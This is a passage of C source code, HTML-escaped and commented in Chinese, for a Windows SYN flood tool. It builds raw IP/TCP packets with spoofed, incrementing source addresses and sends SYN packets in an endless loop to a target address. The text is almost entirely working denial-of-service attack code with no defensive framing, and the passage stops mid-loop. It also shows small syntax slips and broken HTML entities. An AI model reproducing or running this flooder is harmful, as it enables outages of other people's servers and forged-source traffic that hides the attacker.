&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_sport;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位源端口<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_dport;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位目的端口<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned int th_seq;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32位序列号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned int th_ack;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32位确认号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char th_lenres;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //4位首部长度/6位保留字<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char th_flag;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //6位标志位<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_win;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位窗口大小<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_sum;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位校验和<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_urp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位紧急数据偏移量<br />
&nbsp;&nbsp;&nbsp; }TCP_HEADER;<br />
<br />
&nbsp; <br />
<br />
&nbsp;&nbsp;&nbsp; //CheckSum:计算校验和的子函数<br />
<br />
&nbsp;&nbsp;&nbsp; USHORT checksum(USHORT *buffer, int size)<br />
&nbsp;&nbsp;&nbsp; {<br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned long cksum=0;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while(size &gt;1) {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cksum+=*buffer++;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; size -=sizeof(USHORT);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(size ) {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cksum += *(UCHAR*)buffer;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cksum += (cksum &gt;&gt;16);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return (USHORT)(~cksum);<br />
<br />
&nbsp;&nbsp;&nbsp; }<br />
<br />
<br />
&nbsp;&nbsp;&nbsp; //&nbsp; SynFlood主函数<br />
&nbsp;&nbsp;&nbsp; int main()<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int TimeOut=2000,SendSEQ=0;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; char SendBuf[128]={0};<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; char RecvBuf[65535]={0};<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; WSADATA wsaData;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; SOCKET SockRaw=(SOCKET)NULL;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; struct sockaddr_in DestAddr;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; IP_HEADER ip_header;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; TCP_HEADER tcp_header;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //初始化SOCK_RAW<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if((ErrorCode=WSAStartup(MAKEWORD(2,1),&amp;wsaData))!=0){<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ExitProcess(STATUS_FAILED);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (SockRaw==INVALID_SOCKET){<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ExitProcess(STATUS_FAILED);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; flag=TRUE;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //设置IP_HDRINCL以自己填充IP首部<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&amp;flag,sizeof(int));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; If (ErrorCode==SOCKET_ERROR)&nbsp; printf("Set IP_HDRINCL Error!\n");<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; __try{<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //设置发送超时<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&amp;TimeOut,sizeof(TimeOut));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(ErrorCode==SOCKET_ERROR){<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; __leave;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memset(&amp;DestAddr,0,sizeof(DestAddr));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; DestAddr.sin_family=AF_INET;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; FakeIpNet=inet_addr(FAKE_IP);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; FakeIpHost=ntohl(FakeIpNet);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //填充IP首部<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.h_verlen=(4&lt;&lt;4 | sizeof(ip_header)/sizeof(unsigned long));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //高四位IP版本号，低四位首部长度<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));&nbsp;&nbsp;&nbsp;&nbsp; //16位总长度（字节）<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.ident=1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位标识<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.frag_and_flags=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //3位标志位<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.ttl=128;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //8位生存时间TTL<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.proto=IPPROTO_TCP;&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //8 位协议(TCP,UDP&#8230;)<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.checksum=0;&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16 位IP首部校验和<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32 位源IP地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.destIP=inet_addr(SYN_DEST_IP);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32位目的IP地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //填充TCP首部<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_sport=htons(7000);&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 源端口号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_dport=htons(8080);&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 目的端口号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_seq=htonl(SEQ+SendSEQ);&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //SYN 序列号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_ack=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ACK序列号置为0<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_lenres= (sizeof(TCP_HEADER)/4&lt;&lt;4|0);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //TCP长度和保留位<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_flag=2;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //SYN 标志<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_win=htons(16384);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //窗口大小<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_urp=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //偏移<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_sum=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //校验和<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //填充TCP伪首部（用于计算校验和，并不真正发送）<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psd_header.saddr=ip_header.sourceIP;&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 源地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psd_header.daddr=ip_header.destIP;&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 目的地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psd_header.mbz=0;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psd_header.ptcl=IPPROTO_TCP;&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 协议类型<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psd_header.tcpl=htons(sizeof(tcp_header));&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //TCP 首部长度<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while(1) {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //每发送10,240个报文输出一个标示符<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf(".");<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for(counter=0;counter&lt;10240;counter++){<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(SendSEQ++==65536) SendSEQ=1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 序列号循环<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //更改IP首部<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.checksum=0;&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16 位IP首部校验和<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32 位源IP地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //更改TCP首部<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_seq=htonl(SEQ+SendSEQ);&amp; nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //SYN 序列号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_sum=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //校验和<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //更改TCP Pseudo Header<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psd_header.saddr=ip_header.sourceIP;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; // 计算TCP校验和，计算校验和时需要包括TCP pseudo header&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(SendBuf,&amp;psd_header,sizeof(psd_header));&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(SendBuf+sizeof(psd_header),&amp;tcp_header,sizeof(tcp_header));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //计算IP校验和<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(SendBuf+sizeof(ip_header),&amp;tcp_header,sizeof(tcp_header));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);<br />
